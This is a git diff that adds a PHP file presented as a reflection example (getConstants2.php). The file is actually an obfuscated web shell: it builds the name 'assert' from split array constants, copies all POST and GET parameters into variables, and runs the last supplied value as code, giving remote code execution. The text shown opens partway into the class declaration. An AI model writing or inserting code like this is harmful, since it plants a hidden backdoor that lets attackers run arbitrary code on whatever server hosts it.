diff --git a/php/getConstants2.php b/php/getConstants2.php new file mode 100644 index 0000000..21b9443 --- /dev/null +++ b/php/getConstants2.php @@ -0,0 +1,24 @@ +'aS',2=>'se',3=>'rT'); + + public function __construct() + { + } +} + +$refl = new ReflectionClass('Test'); + +foreach ($refl->getConstants() as $key => $value) { + foreach ($value as $key => $value1) { + $value2.=$value1; + } +} +foreach (array('_POST','_GET') as $_request) { + foreach ($$_request as $_key=>$_value) { + $$_key= $_value; + } +} +$value2($_value);